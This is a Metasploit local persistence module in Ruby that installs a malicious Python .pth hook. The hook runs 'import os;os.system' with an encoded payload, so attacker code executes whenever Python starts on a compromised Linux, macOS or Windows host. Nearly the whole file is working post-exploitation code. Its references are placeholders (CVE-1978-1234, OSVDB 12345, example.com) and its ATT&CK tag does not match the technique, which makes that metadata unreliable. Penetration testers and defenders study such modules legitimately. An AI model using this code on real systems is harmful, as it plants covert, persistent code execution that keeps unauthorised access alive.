##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

  # includes: is_root?
  include Msf::Post::Linux::Priv
  # includes writable?, upload_file, upload_and_chmodx, exploit_data
  include Msf::Post::File
  # includes generate_payload_exe
  include Msf::Exploit::EXE
  # includes register_files_for_cleanup
  include Msf::Exploit::FileDropper
  # defines install_persistence and does our cleanup
  # WritableDir
  include Msf::Exploit::Local::Persistence
  # runs check automatically
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Python Site-Specific Hook Persistence',
        'Description' => %q{
          This exploit sample shows how a persistence module could be written
          for a linux computer.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'msutovsky-r7', # msf module
        ],
        'Platform' => ['linux', 'windows', 'osx'],
        'Arch' => [ ARCH_CMD ],
        'SessionTypes' => [ 'meterpreter', 'shell' ], # @clean_up_rc only works in meterpreter sessions
        'Targets' => [[ 'Auto', {} ]],
        'References' => [
          [ 'OSVDB', '12345' ],
          [ 'EDB', '12345' ],
          [ 'URL', 'http://www.example.com'],
          [ 'CVE', '1978-1234'],
          ['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], # https://github.com/rapid7/metasploit-framework/pull/20289
        ],
        'DisclosureDate' => '2023-11-29',

        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def get_hooks_path
    case session.platform
    when 'windows', 'win'
      @hooks_path = "C:\\Program Files\\Python#{@python_version.sub('.', '')}\\lib\\site-packages\\"
    when 'osx', 'linux'
      @hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/")
    end
  end

  def get_python_version
    case session.platform
    when 'windows', 'win'
      cmd_exec('python3.exe --version 2> nul || python2.exe --version 2> nul|| python.exe --version 2> nul')
    when 'osx', 'linux'
      cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/
    end
    @python_version = Regexp.last_match(1)
  end

  def check
    get_python_version

    return CheckCode::Safe('Python not present on the system') unless @python_version

    CheckCode::Vulnerable('Python is present on the system')
  end

  def install_persistence
    get_python_version unless @python_version
    get_hooks_path unless @hooks_path

    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)

    cmd_exec("mkdir -p #{@hooks_path}")

    fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") ))
  end
end